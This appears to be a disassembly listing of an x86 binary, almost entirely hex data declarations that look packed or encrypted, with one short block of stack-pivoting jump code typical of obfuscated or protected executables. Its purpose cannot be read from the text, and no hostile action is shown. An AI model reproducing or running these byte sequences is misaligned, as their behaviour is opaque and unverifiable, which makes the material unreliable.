dd 3963FE09h, 31990391h, 0C99B045Dh, 1D9A1B5Eh, 0E7A4166Ch
dd 0D1B3B63Dh, 0A937C239h, 13118DBh, 80830000h, 0EA4047ECh
dd 0F4632912h, 2326C35Dh, 0DFFD5552h, 7C6C4116h, 9ADEB047h
dd 267C6C40h, 0A6C1F159h, 82C6982Fh, 4E7C6C40h, 9EEA8921h
dd 26721E15h, 9EE9869Dh, 17FF3E5h, 49E11CDFh, 0F7DB2AC9h
dd 0D4733DECh, 0A5130075h, 6B1F5921h, 0AB059DEAh, 80872CF4h
dd 76D348E0h, 0AC40DBA9h, 0A4A80E01h, 60h, 860B80FFh, 0B203B2B5h
dd 0D45530D6h, 0F092AE7Eh, 199F0965h, 91287625h, 37075FFh
dd 18743462h, 27407625h, 0ED97E38Fh, 4C1A6BE8h, 7625190Ch
dd 2E25911h, 72099C36h, 25185C1Ch, 7A0F6876h, 0E6705144h
dd 0C550E698h, 2531FFE9h, 66026D76h, 76C8h, 4826BD00h
dd 76253210h, 687BD3DCh, 49DC7EB9h, 6C4EBC75h, 1E6F087Ch
dd 0DA9EF087h, 0E67C6C4Dh, 0C2613199h, 4AE9A5C7h, 0ADA3D84Fh
dd 34D5CB8Eh, 0A230BF17h, 7C6C96E1h, 41EB501Ah, 0F5C5A7A2h
dd 399500CAh, 82BBDDF1h, 7103703Fh, 0CB8DE1F2h, 0FC762B5Dh
dd 2B5DE6A2h, 0C7B5F276h, 0CB4A3BB8h, 8BB4500Fh, 5DC187D7h
dd 600F762Bh, 0D01A74E3h, 187C7AA5h, 8056FD9Fh, 4458300Bh
dd 2A80A040h, 34A36952h, 0B1191898h, 8E544DE4h, 0AEBB4DB3h
dd 18A7D0D1h, 5402A8A4h, 7C746F86h, 81EA537h, 9AEB6877h
dd 6C05B51Dh, 73EE5612h, 8405627Ch, 0EF1EA5F7h, 5C902C64h
dd 8DEF6C01h, 67217D14h, 957C73C8h, 1A6517F2h, 585FE4B4h
dd 0A5B633CDh, 73C88FC9h, 0D5525D7Ch, 2E07E7Dh, 0D7CB7B10h
dd 0F77CA41Bh, 0F0CE65F0h, 0BF6D03B8h, 0B7D37B04h, 2C5D58DBh
dd 0ACDDD45Ch, 2EF2A929h, 11109D85h, 1FA4F090h, 3F8B00Eh
dd 0BBC4BF6Dh, 0BDD4D3Ah, 0C8000000h, 3A58934h, 96319906h
dd 0FC85DA41h, 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh
dd 4AF682F3h, 0CA6A0677h, 55EA86F7h, 0C96B3976h, 81B9BFCCh
dd 4ECh, 242C8900h, 0C581E589h, 4, 8704ED83h, 575C242Ch
dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 8953242Ch, 4C381E3h
dd 81000000h, 4EBh, 241C8700h, 243C895Ch, 4B36853h, 0C15B4169h
dd 0E38107EBh, 800742h, 0B951DBF7h, 6CF4A7Fh, 8959CB01h
dd 8B545BDDh, 0C481243Ch, 4, 2C7E68h, 242C8900h, 8B08478Fh
dd 8952243Ch, 4C281E2h, 83000000h, 148704C2h, 2C8B5C24h
dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 3077E95Ch
dd 0E39FFF9h, 4D5EB8B4h, 0C503064Fh, 0CD13E0FFh, 48DA613Fh
dd 0C84F7BDAh, 0B87E1A38h, 0EC1F6D17h, 0F2C419D6h, 0CACF7908h
dd 0B0F61005h, 93C86122h, 46D77699h, 17493D1Bh, 6F1B526Ch
dd 61CB5A5Bh, 0DB611718h, 94280A3Bh, 0AB1A0003h, 47005776h
dd 0A59C6B22h, 0C34E49E3h, 7B182226h, 1A9B60D3h, 0B49E2DDAh
dd 8D8D1E55h, 64F4F44h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 0E0C35646h, 66DBC0F5h, 8D89F18Bh, 6481405h
dd 205BD09h, 85C70648h, 6483025h, 587Ch, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Ch, 75C35141h, 42BFDA23h
dd 0C268685Eh, 6EC7EDBFh, 11800F37h, 0E9000000h, 0Ch, 7E265A71h
dd 7BE97990h, 442EE4CCh, 2AD985C7h, 648h, 6A0000h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
dd 33BDF8C3h, 0FF3BB0E4h, 4806FDB5h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0F381669Eh
dd 95FF57F5h, 6480E71h, 535B50Bh, 6A0648h, 92D95FFh, 0C08B0648h
dd 0A9E868EBh, 191B8763h, 6E2C83F4h, 76BCF434h, 6F68EB99h
dd 2E8C36E1h, 42BB70BCh, 0C8811C02h, 36F9AF8h, 0BAF9F008h
dd 4DE27A39h, 0E29A8DFAh, 0A3B76D2Dh, 0BE679452h, 920742DEh
dd 52DF1677h, 119C59D8h, 5775C874h, 1A639DEh, 80EC63E0h
dd 518F4481h, 6CC51EAEh, 9078E030h, 0EB2AEBD3h, 0E148C963h
dd 3AC915D9h, 4EB9F3Bh, 4AE82B63h, 576E9h, 0B9B83900h
dd 2025CFDBh, 0D4B35440h, 5958D8B4h, 0CEC36F3Bh, 83081A2h
dd 930F6D6Ch, 2470100Dh, 0AEFA8699h, 0F1620E05h, 81C880DEh
dd 0B2147C73h, 0FBFE85D1h, 0AB86FB8Ah, 0F57AC906h, 8834E44Ah
dd 34BFEB89h
dd 128E9D22h, 81EE9F92h, 82217300h, 0EA9FF687h, 0A5AF8A89h
dd 38F27A8h, 0DC176461h, 0D26EB16Eh, 0F6C85F52h, 762521B2h
dd 39D9713Eh, 9428BFBAh, 196617F2h, 0B8011B1h, 0CF542520h
dd 0D9B911CAh, 633F5D5Ch, 0E6B2C3C6h, 64344540h, 0DEAADBDEh
dd 0A92C5D48h, 0DABD7229h, 8E8B29C3h, 26C9B628h, 4E4F2A6Dh
dd 0DC4C6E7Ch, 1FFB5356h, 0A1FD9F92h, 0F9900702h, 245BE3A5h
dd 0FEBA1476h, 0CA76245Bh, 20C3DFADh, 0D6575425h, 8D247300h
dd 245B7731h, 1B1EA576h, 307F0D6Ah, 5B793C9Ah, 64D67624h
dd 279A81A7h, 7709DDE1h, 0F05CF2CFh, 53h, 0FBFE852Bh, 327A3C8Ah
dd 19D57624h, 0E9982A2h, 0D43DDE1h, 2A000000h, 89516B71h
dd 47D50513h, 7A0DA5A0h, 50ECFF85h, 0C5A2D3CEh, 2432D395h
dd 1986E176h, 9F9A1868h, 0F7D27408h, 0A040505Fh, 1F9A36A1h
dd 2E05B218h, 0DF658F7Ch, 41E2BEDAh, 859D2642h, 0F98BF8F9h
dd 5216687Bh, 9E762433h, 8C059011h, 0F7BBAE7Dh, 5261C998h
dd 0D5A2A146h, 55223FC7h, 825B00B2h, 37FDA21Ch, 0BEEAB68Bh
dd 83862D35h, 651E9302h, 0C1F59389h, 34455CE4h, 5360F677h
dd 0D2A3BE41h, 71DDD6B9h, 30F4873Dh, 6D983F4h, 48F5781Fh
dd 1533E8E2h, 0DDE1B2FEh, 7A24h, 0F9857F00h, 66F98BF8h
dd 0B0270A7Bh, 389E911Ch, 7A16D986h, 4C4BE8FEh, 59F1BECFh
dd 5C3C3DB9h, 0DBB3A440h, 7624329Dh, 0C6B6B22Ch, 2F5D6F8Bh
dd 0E6B2C340h, 6632435Eh, 0BAFED0DDh, 676245Ah, 0F98BF879h
dd 8C0B7879h, 37D811CEh, 2BE0C4BBh, 0F1DDE138h, 59h, 0F8F9852Ah
dd 5550D36Dh, 0D6A95424h, 0A6F28129h, 0D677041Bh, 0F17DA764h
dd 32D088E6h, 931C7624h, 80ED7612h, 384D44ECh, 0A0BBF57Dh
dd 0E8A20D0h, 42106164h, 7624FA03h, 0FB888D37h, 710E0BA9h
dd 53E85729h, 6D5B00BAh, 0DDE1C9B6h, 0ECE98B25h, 94B81E9Fh
dd 1, 0E7E2850Fh, 7A79FA96h, 13C88A0Dh, 492B36C9h, 39152358h
dd 0B5053323h, 0C776411Dh, 898C3721h, 522C7B08h, 7624C616h
dd 0C744C5A2h, 0A3E5B950h, 317624C5h, 0F080C482h, 0D350B090h
dd 95C49A7Bh, 417C6D2Dh, 0B83B4926h, 2595D3ABh, 0BE247C6Dh
dd 2437FADFh, 3FBCFB89h, 0A7A2415Dh, 0F0B9C30h, 90E16E63h
dd 6E2A8413h, 7A7C6CA6h, 48E6953Dh, 7C6CA70Eh, 974605C9h
dd 0D8D08B00h, 7C0E6CE4h, 6CBB6A2Eh, 9B09767Ch, 0F6C1D18h
dd 0B948EBA7h, 0F1AADB8Eh, 1672F3E4h, 56E9F97Ah, 0C682DC4Bh
dd 127C6CE5h, 10671495h, 0A3E6959Bh, 268CA13Ch, 5BCAC96Ah
dd 532021C1h, 0A7FFFC52h, 21C216D5h, 18079834h, 6D2A0E4Ah
dd 0BDB83A7Ch, 4123A0CFh, 0A9F972A9h, 0CEA8E1DBh, 0F06EEA1Ch
dd 9365057Eh, 70767093h, 11B72DAh, 0B9A90000h, 0B4F4CA7Eh
dd 0E0762432h, 77344544h, 6AFD7A05h, 6C40D114h, 0EA89E57Ch
dd 83116EEFh, 0E87E5E0h, 82F3F672h, 26CD4DE5h, 9C18B423h
dd 278FEC9Dh, 7C7BF888h, 4605770Fh, 76121192h, 0A9003DE6h
dd 47E7DBh, 0B93C0000h, 56042D7Bh, 0C3701330h, 245AADEBh
dd 0FF7C3B76h, 2197E77Eh, 4F76245Bh, 0C5835320h, 0DA76245Ah
dd 8ECAA43Bh, 5A76245Ah, 0EED6285Dh, 58D388E2h, 0E503F8F2h
dd 0D4AA3DD7h, 7624F6E4h, 0DB553770h, 8Dh, 0DC7EB938h
dd 80DB749h, 1943A7Bh, 532ED66Ah, 4E24DDFBh, 0AB457C6Ch
dd 9C9D190Fh, 0A9018EEFh, 83116E09h, 0DB72E5E0h, 6C4DC583h
dd 3E94137Ch, 654DF6A2h, 0E5B7C4DDh, 4AC64742h, 5F2CADA8h
dd 6C4EC48Fh, 8C73FF7Ch, 0B8D8DF64h, 0B225E7D0h, 0BB9D4BDCh
dd 60039F82h, 0DF71E465h, 412E5F52h, 21BBCAE9h, 632F8782h
dd 11B4C5C0h, 310AFAA1h, 95A2FC6Bh, 457C7AD6h, 0F18E8B29h
dd 878220B0h, 912B7A06h, 0FA871514h, 41E996E7h, 0DC7EB926h
dd 3510B749h, 91A6F89Dh, 597C7382h, 0DFACA54Dh, 502051DEh
dd 0D8B4D4D3h, 582F5C5Bh, 79843B23h, 0DF65C776h, 0E7F55DDAh
dd 0C91B8165h, 0F13BE05Ah, 7C157772h, 304140E0h, 0B43FDB73h
dd 30B0C0B1h, 0CEC54031h, 0E1216737h, 0C0AFC10Ch, 618B706Ah
dd 1F3533C2h, 0B3933143h, 6A09A332h, 0EFBBC76Fh, 82304144h
dd 3, 85DA4101h, 494E5FCh, 790B787Fh, 0FC8CFDFCh, 720E7F6Ah
dd 0F682F3F6h, 6A06774Ah, 0EA86F7CAh, 6B397655h, 0B9BFCCC9h
dd 81E38953h, 4C3h, 4BF5700h, 29000000h, 1C875FFBh, 72685C24h
dd 89000022h, 0D682414h, 89000026h, 9CBA243Ch, 5719F823h
dd 0E03942BFh, 47DFF775h, 4707EFC1h, 0FC2FC781h, 0FA293C9Ch
dd 81EAD15Fh, 6C3C53F2h, 3C8B5468h, 4C48324h, 6A0968h
dd 24048900h, 8B8h, 89F80100h, 34FF5810h, 0C4815F24h, 4
dd 5A2434FFh, 0E904C483h, 0FFF92951h, 2470FFB0h, 83D46D38h
dd 7429224Ch, 0B8FE20C0h, 64F54ABh, 0E0FFC503h, 21C917D3h
dd 5638B062h, 6B76425Dh, 7E23000h, 1718C0F9h, 72F4AE2Ah
dd 602C5621h, 31E98C70h, 4BB9F16h, 200B69D2h, 9141877h
dd 4543E8D6h, 65B86E95h, 64425981h, 77B41B07h, 594CC52Bh
dd 57058953h, 202D95C7h, 342DBE90h, 1120C128h, 277512A3h
dd 3B060F4Dh, 0E8F9191h, 4705A9E5h, 3D12A961h, 6FD93E82h
dd 4C9AF887h, 57116E00h, 56648D8Dh, 8D89064Fh, 6481405h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0EDC35242h
dd 3E769B30h, 0A9958988h, 0C7064808h, 48302585h, 72AC06h
dd 20EB8100h, 0C727CC5Fh, 482AD985h, 6, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 0D3BAFB71h, 5631B1F5h, 28D9BD89h, 0FF580648h, 4827D9B5h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 0C3F22D2h, 0BA66C8B7h, 95FF399Dh, 6480E71h
dd 0D537BF66h, 2285858Bh, 6A0648h, 92D95FFh, 0C08B0648h
dd 0C58D1EEBh, 0AEFF6E19h, 6E7555Ch, 6F37E015h, 56A1F6E6h
dd 92A91B8h, 3FFF91Fh, 9F653618h, 58BD04EBh, 40E93C8Eh
dd 17000005h, 0A5F1936Eh, 227E1A1Fh, 0B6E28E9Dh, 4551330Eh
dd 0BBD8B8B9h, 4346E2DAh, 0F6D37521h, 7C73FEAAh, 0E4E3801Ch
dd 0E6B8CF84h, 7C7388A2h, 850F982Eh, 0FE8AFBFEh, 51E87F72h
dd 24333B7Dh, 48EE8976h, 0C0C76C38h, 4742E1B3h, 0CBD85A36h
dd 2432B5F3h, 0E7640376h, 30EFA396h, 2C4C4BE8h, 0F706F570h
dd 4B8F3DB9h, 0AE45D051h, 247E98D0h, 0ABEDC176h, 3976247Eh
dd 0CD65027Eh, 4544E1BDh, 0D4C26434h, 0A6D75433h, 24CCB33Fh
dd 0AEFA8699h, 0E1710E05h, 76247EA4h, 275453D0h, 0DBA8A955h
dd 0AAB94EDAh, 0CDB23CDDh, 0FED3BAC0h, 8B082DB8h, 1533E862h
dd 0DDE164EEh, 0AD34h, 0A8069D00h, 762498F0h, 881BB3FCh
dd 8AFBFE85h, 24327A3Ch, 2BC2D576h, 24331553h, 54C4A376h
dd 0DBD8A9A8h, 0A2827973h, 0DDE10E79h, 0D3A5B1EAh, 2FF49DD3h
dd 14787h, 85DC0000h, 0CE50ECFFh, 95C5A2D3h, 762432D3h
dd 32EEAA04h, 0BDFA7624h, 0B423A0CFh, 847870FFh, 1A93517h
dd 6D9C2672h, 33E47AD0h, 0A134B5E0h, 0EAF4B40Ah, 0A7C07624h
dd 7E15600Fh, 24EA6820h, 990B7476h, 0E6F1C1Dh, 0BD48E8A8h
dd 0E29C0E58h, 0CA76E28Ch, 78F986F7h, 1FB1200Bh, 87399194h
dd 0E47B15D8h, 3C4D48EAh, 0E081FE7Fh, 2124CE4Ah, 0A9AC5743h
dd 0F98528CBh, 0C84954EBh
dd 5D4BE9BBh, 0C2A3D0D1h, 333D7B53h, 0EC8B7624h, 36881E6Fh
dd 207A349h, 8A892A66h, 1E18AFFDh, 8CED9A89h, 0E19E911Ch
dd 59720380h, 0FD163EEDh, 27DDE110h, 5Bh, 0F8F9857Ch, 7B66F98Bh
dd 0B46B270Ah, 0A3C1C06Ch, 39764BF7h, 0B9F6CB6Bh, 146A0194h
dd 76243254h, 326F2985h, 327D7624h, 0DF913946h, 10CF4460h
dd 3B15DDE1h, 7C000000h, 18C5DC07h, 57FF37EDh, 0F8F9854Ch
dd 7D7CF98Bh, 1CC38F0Ch, 0BE2928D4h, 33115727h, 0D0DF7624h
dd 85C56E7Ah, 3D8DFAFFh, 76243278h, 80A41BD7h, 0DDE10E9Bh
dd 141h, 0E285DA00h, 57DC70E7h, 0EC422350h, 3336BDCFh
dd 0A817C342h, 80E0FF80h, 0DA4D0F28h, 809A943h, 0C6943A7Bh
dd 7C6C4693h, 5123505Fh, 0A940D7D2h, 6C4693D5h, 60B2217Ch
dd 0BC74940Bh, 435FF774h, 0D8A9AC57h, 205836CDh, 0AC7C6D0Eh
dd 296D6BC3h, 5F7C6D0Eh, 0D2AEDFD2h, 0A0215E4Dh, 0DBB8712Eh
dd 0E380A817h, 6774AF7h, 0D36DF879h, 0EEFA504Dh, 453231B2h
dd 1F129E32h, 5D58DBB7h, 0D0D75C2Ch, 5455D1A3h, 7734A627h
dd 0F38D28BEh, 60017E73h, 12B90CAh, 0CBCE7462h, 1C7CFDBAh
dd 0A9D5877Ch, 1275DDBh, 80C60000h, 8D2A670Bh, 15D8879h
dd 76244247h, 0FA6DEA95h, 2441E4A4h, 1FB7F076h, 3FD6744Fh
dd 6C50A66Fh, 475327Ch, 0A8C8CF74h, 37077FCh, 60F7F271h
dd 892120CCh, 1F129EEAh, 6796126Eh, 3D44C330h, 710E8FE0h
dd 3B8E8323h, 9B03D887h, 0DB67A21h, 59C26A36h, 0CADBA9B6h
dd 0E71D5B33h, 0CCAB7C6Ch, 3DE666h, 0B93D0000h, 704ED97Bh
dd 76243388h, 0A7E1BDD4h, 35762432h, 0D33CA5BEh, 94152BD3h
dd 747140E3h, 119EE24Eh, 0E896D260h, 0D7EB7624h, 2C0FC68h
dd 0E8CD3B93h, 9C1B7624h, 8342FCh, 0B9C10000h, 7549DC7Eh
dd 7C6C4EBCh, 871E6F08h, 4DDA9EF0h, 99E67C6Ch, 0C7C26131h
dd 594AE9A5h, 6C4E4305h, 3CE2917Ch, 0CDE27875h, 71E465E2h
dd 0FCC484DAh, 73F07C6Ch, 0A660774h, 18B6C56Dh, 7C6CFD5Bh
dd 0CF15CA84h, 6B432124h, 0B1C9950h, 6CFCF5B3h, 27A4C37Ch
dd 9E5F2FA6h, 2A82BC53h, 0C76C3C4Dh, 92C4DDD6h, 733571F0h
dd 2B946523h, 0B7347376h, 2C935FC6h, 0CA5DFF38h, 7AEB39F4h
dd 86E28D7Ch, 41EC80FDh, 33420658h, 0E18E7624h, 4972CA60h
dd 0E67D1483h, 2432D088h, 3B931C76h, 7389609Dh, 56EA817Ch
dd 0C484D2B1h, 107C7388h, 0F4B33F97h, 0BF4EF587h, 0E0B5317Fh
dd 0C8BF144Bh, 0B93F27F5h, 0C8D9BB38h, 8C1B5D31h, 0CEA97C73h
dd 710043B5h, 0D971D96Fh, 6ACBA39h, 3FC17203h, 8EAD75E3h
dd 9D22BE3Fh, 33B0F18Eh, 4062F442h, 530FB734h, 3AF41ECh
dd 4BE8A80Eh, 0DB752C4Ch, 1AF65C59h, 9FED9A99h, 6D6C0917h
dd 7A0D9FECh, 0E2821E6Fh, 0F27376FCh, 3FECDE85h, 71089FE6h
dd 0B23F5B1Dh, 920E69B2h, 16E1F12h, 0A04837A9h, 28640403h
dd 0A8FF8C8Bh, 0C0966914h, 3B2h, 0DA411100h, 94E5FC85h
dd 0B787F04h, 8CFDFC79h, 0E7F6AFCh, 82F3F672h, 6774AF6h
dd 86F7CA6Ah, 397655EAh, 0BFCCC96Bh, 6B0A68B9h, 0C890000h
dd 4EC8324h, 68243489h, 0F14h, 55240C89h, 4F5692BDh, 4815506h
dd 900DD624h, 0EE815E21h, 21900DD6h, 2C61685Dh, 24890000h
dd 24048124h, 4, 4EC8159h, 89000000h, 418F2434h, 240C8B08h
dd 5E08950h, 4, 8704C083h, 8B5C2404h, 89502434h, 405E0h
dd 4050000h, 87000000h, 0E95C2404h, 0FFF922A9h, 902C4DD4h
dd 0B814C7C7h, 64F5B58h, 0E0FFC503h, 4BFC4DA6h, 769ECBA0h
dd 5F33AFB6h, 2D4A970Ch, 1D26419Ch, 4871179Ah, 54093CFBh
dd 35493F75h, 36276018h, 5B11A928h, 164ECA7Bh, 784BF73Dh
dd 60E362B2h, 0F6F204EBh, 3E941E2h, 9F000005h, 2D791B16h
dd 0AAE68287h, 3E6A3615h, 0CDD9BBB6h, 23402021h, 0CBCE6A52h
dd 7E6BFDA9h, 0E4FB8612h, 6C6B0884h, 6E40570Ch, 7C738F2Ah
dd 857710B6h, 0D06CFBFEh, 0F0FF5752h, 920504A0h, 0C7D68FEh
dd 7C75FD6Fh, 55DECAD6h, 0D053215Eh, 2ED4A4D5h, 8320BC2Bh
dd 0AA812E84h, 42E10BF0h, 0CC692547h, 2E5F52DEh, 0F4A0C041h
dd 6B397649h, 7F33CD5h, 0CEDFFE01h, 25953041h, 2337B266h
dd 90078481h, 8C70681Bh, 0C1696E57h, 0D45CF0A1h, 0BACFACDDh
dd 5971DD43h, 57C36B40h, 0CDD8A9ACh, 0CCA2B133h, 7624898Ch
dd 78DE5F58h, 248A1B5Ah, 0BCA74F76h, 2489A6E2h, 0F4753276h
dd 4B4EF587h, 2B5859D9h, 5C954A00h, 60443BB7h, 0DDE159BBh
dd 7561h, 0E980BA00h, 0DBA8AD57h, 32CC8CDAh, 6B187624h
dd 2D8F7569h, 983EBF24h, 5F887BF8h, 0B57A954Ch, 2EBCCD4Ah
dd 76251468h, 65121590h, 0FE7B6D17h, 6CED8AFBh, 7635871Fh
dd 39E658B1h, 0E1EC140Fh, 1CEDDh, 85550000h, 0D16BFAFFh
dd 42235051h, 37BDCFECh, 0F4858421h, 2B7936B7h, 0F2F9B68Bh
dd 1B994338h, 2777600Dh, 76243261h, 283006Fh, 8A892A66h
dd 0F98545EEh, 7BF98BF8h, 0DC79017Eh, 0D7A4A340h, 0B8BF3AD6h
dd 3CE35812h, 0CC7FA847h, 76DCC40Ch, 791B1E9Ah, 7B3D9128h
dd 0A9762506h, 3D7A0B16h, 0B0AD334Fh, 8D25A2C3h, 1263660Dh
dd 95E2E186h, 0E47B1578h, 0A01F51F9h, 0E1C48F84h, 6555DDh
dd 0A53C0000h, 25108FC9h, 0FC525D76h, 0F8F985EBh, 7B66F98Bh
dd 0B46B270Ah, 56C1C06Ch, 32A9EFBFh, 0BC377624h, 941A7FDEh
dd 7FD75448h, 0C39B3263h, 76248185h, 12FE5453h, 96E29396h
dd 696213EEh, 0ED260EFDh, 7EDDE15Fh, 77D197E7h, 901F7624h
dd 32123Ah, 85890000h, 0F98BF8F9h, 8F0C7D7Ch, 28D41CC3h
dd 85A84B29h, 3D8DFAFFh, 76243278h, 79A41BD7h, 32CC8CE2h
dd 9F187624h, 0E7CA737h, 1A6DDE1h, 0FD000000h, 96E7E285h
dd 521668FFh, 9E762433h, 5AD9B911h, 2BA72E5Fh, 7017A974h
dd 0CA5D3D95h, 0E2DDBDDFh, 0A8D1AD38h, 0D17C6C46h, 4724643Ah
dd 0F7B07C6Ch, 2754535Fh, 0C9ABAE55h, 225356DDh, 6C46D294h
dd 677A067Ch, 0FAF97A16h, 37F4A68Dh, 6EDD91FEh, 5E3A39BAh
dd 0D5A2A142h, 0CE68C9C2h, 0DDB80B8Ch, 1B1EA575h, 9E951E6Ah
dd 151093E1h, 8A71E164h, 2C93ED75h, 18787F04h, 0A9EE8B70h
dd 12351DBh, 0B9CA0000h, 7549DC7Eh, 7C6C41B0h, 55EC7B04h
dd 40EF05Ch, 66342BB4h, 7C6C9F22h, 4A69C1AEh, 0D2BEB53Eh
dd 49263DC6h, 0D3ABB83Bh, 7C6C9E95h, 0B6C74423h, 0FE219ED0h
dd 0DBDF9D85h, 0BC4ADB2Eh, 37B2F8B9h, 7D1DB532h, 0F991F3F6h
dd 0DBA96E02h, 3BD8h, 0EC804300h, 9E54D44h, 0A0FE692Bh
dd 76243338h, 1CAADBA4h, 7624325Ch, 0B25209A1h, 0C484DA86h
dd 10762432h, 0BAC67E63h, 0A956AC96h, 0F7E1BD28h, 6576251Dh
dd 96C07E1Ah, 47000000h, 49DC7EB9h, 6C4EBC75h, 0F86F087Ch
dd 72D8DF64h, 898C3745h, 3134BFEBh, 4EB1F240h, 60EA7C6Ch
dd 46DD74BBh, 6C4E3068h, 0A3F3BC7Ch, 7C6C4DE5h, 500A7F3h
dd 20B63774h, 94F4F370h, 0CEC363FDh, 825AF0B1h, 0ED8413B9h
dd 6C4DD791h, 0EAAE007Ch, 0F67C6C4Dh, 5AFFB89h, 6A2B8300h
dd 0BBA96114h, 9C197582h, 0F7891C9Dh, 0DEDD7550h, 552221C2h
dd 0AD5B00B2h, 15DC892h, 7C7AD654h, 0D970E780h, 6C4DC385h
dd 0DE9AF47Ch, 0EA7C6C4Dh, 20B0FF8Dh, 922E8483h, 0DC7EB9F1h
dd 8F407549h, 0DA717C73h, 738EC484h, 3F97107Ch, 0CA61F4B3h
dd 738EB4F4h, 0CF67007Ch, 603ED5A0h
dd 7C738F28h, 0DAD6A954h, 1EA575DDh, 9428791Bh, 0D04016E9h
dd 0AABC4753h, 38793615h, 0FD4D3ABBh, 0C421264Fh, 5E817E2Ch
dd 0DDAD9725h, 851076D0h, 6536F29h, 9C327DB8h, 0C16377FCh
dd 49F6B7C4h, 0F1F47F2Bh, 7170F080h, 0ABAE4AE6h, 4675DDDAh
dd 84AC13DFh, 0C98F8FFh, 63136067h, 3, 85DA41E0h, 494E5FCh
dd 790B787Fh, 0FC8CFDFCh, 720E7F6Ah, 0F682F3F6h, 6A06774Ah
dd 0EA86F7CAh, 6B397655h, 0B9BFCCC9h, 81E28952h, 4C2h
dd 4BB5300h, 29000000h, 14875BDAh, 0D5685C24h, 89000052h
dd 5468243Ch, 8900004Ch, 7768240Ch, 8900002Dh, 1AB9240Ch
dd 89064F5Ch, 0EC8159CFh, 4, 81242489h, 42404h, 53590000h
dd 8153FB89h, 7CD242Ch, 418F71C6h, 8418108h, 71C607CDh
dd 240C8B5Bh, 81E18951h, 4C1h, 4C18300h, 5C240C87h
db 8Bh, 3Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_541331
; ---------------------------------------------------------------------------
dd 0D74365A2h, 13ECE49Ah, 1BDD7C19h, 87B88F3Fh, 3064F60h
dd 80E0FFC5h, 0E34F8EF3h, 8227795Ah, 12C3180h, 0A412D87Eh
dd 0AA75E338h, 0FD44F90Fh, 9656930Ah, 0CB04E486h, 923365F0h
dd 0F337CC28h, 1E3B3C5Ch, 0B0639C2Ch, 14580A63h, 0B300845Dh
dd 63190446h, 911BA411h, 0E8435113h, 6, 0FE984902h, 0B70F46E0h
dd 8B665FD9h, 88C781CBh, 6600006Eh, 7FB8F38Bh, 0F00001Bh
dd 178BF0BFh, 53EA81F8h, 0E84BD7F8h, 5, 0E6710BA9h, 870F6050h
dd 0
dd 0D6CB8166h, 81596153h, 6082D0F2h, 860F45h, 81000000h
dd 0E268FC2h, 11E939h, 34250000h, 0A50AF185h, 1C7EFA84h
dd 0E666BD3Dh, 89F9CA4Fh, 3EF8317h, 4FF2B70Fh, 61B7DAB9h
dd 1E8837Fh, 0FFA0850Fh, 8C0FFFFFh, 0Ch, 6840Fh, 8A0F0000h
dd 0
dd 62B88D8Dh, 6A064Fh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 958B95C3h, 6483251h, 14058D89h
dd 0C7FC0648h, 48302585h, 65A406h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 534CECCFh
dd 0C75EF08Ah, 482AD985h, 6, 0BE800h, 5C350000h, 8970DA4Ah
dd 0FF3BDA17h, 5B851D5h, 5A49F50Ch, 0B5B5FF5Ah, 6A06482Fh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 3903C352h, 6650B991h, 0CD8CF81h, 0E7195FFh
dd 8B570648h, 6A5ADFh, 92D95FFh, 0C08B0648h, 0BD4A0DEBh
dd 953F815Dh, 0AA327D20h, 0EBA0377Bh, 10h, 3 dup(0)
dd 6AC08B00h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 96D1C352h, 0BA6D6E97h, 0BA665555h
dd 0BD836266h, 6481299h, 83097500h, 480D35BDh, 19740006h
dd 0C08B5350h, 42DB8h, 0B9858900h, 8D064829h, 4AA4649Dh
dd 5BD3FF06h, 35BD8358h, 6480Dh, 53501774h, 42DB8h, 0B9858900h
dd 8D064829h, 4AA1539Dh, 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 7E9E6B3h, 42000000h
dd 0A28AAFA3h, 840F6296h, 0Ch, 7E9h, 2CA78A00h, 7AEBC332h
dd 850FC08Bh, 0Ch, 6860Fh, 0B58B0000h, 64814E9h, 0A218D8Bh
dd 0B70F0648h, 2ABE66D7h, 0F98363h, 8F840Fh, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 930976C3h, 3C45905Ah, 0F78B75E6h, 2C3D8B64h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h
dd 47000000h, 3D97C357h, 8A7CB036h, 840FFF0Bh, 39h, 13259D31h
dd 3F8B0648h, 1329BD29h, 0C0320648h, 0F3D3BF0Fh, 158E0FAAh
dd 60000000h, 6118503h, 7E80648h, 0C6000000h, 395096A0h
dd 6158AA90h, 3820Fh, 0FC530000h, 4149355Eh, 8A0F5350h
dd 2, 0F18BF08Bh, 0FF985C6h, 6A470648h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 9D0FC355h
dd 8AC43CC3h, 696C2C29h, 17F1958Bh, 8C0F0648h, 5, 0D41233BEh
dd 858B6072h, 6482ADDh, 6861CAB3h, 0B36DBEEEh, 310F5250h
dd 481585Ah, 68C93E24h, 53006A29h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1404h, 0C3534300h, 0A9B5FF2Ah, 6A064829h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 56B5C357h, 422C9774h, 0B1B5333Dh, 0E9064807h
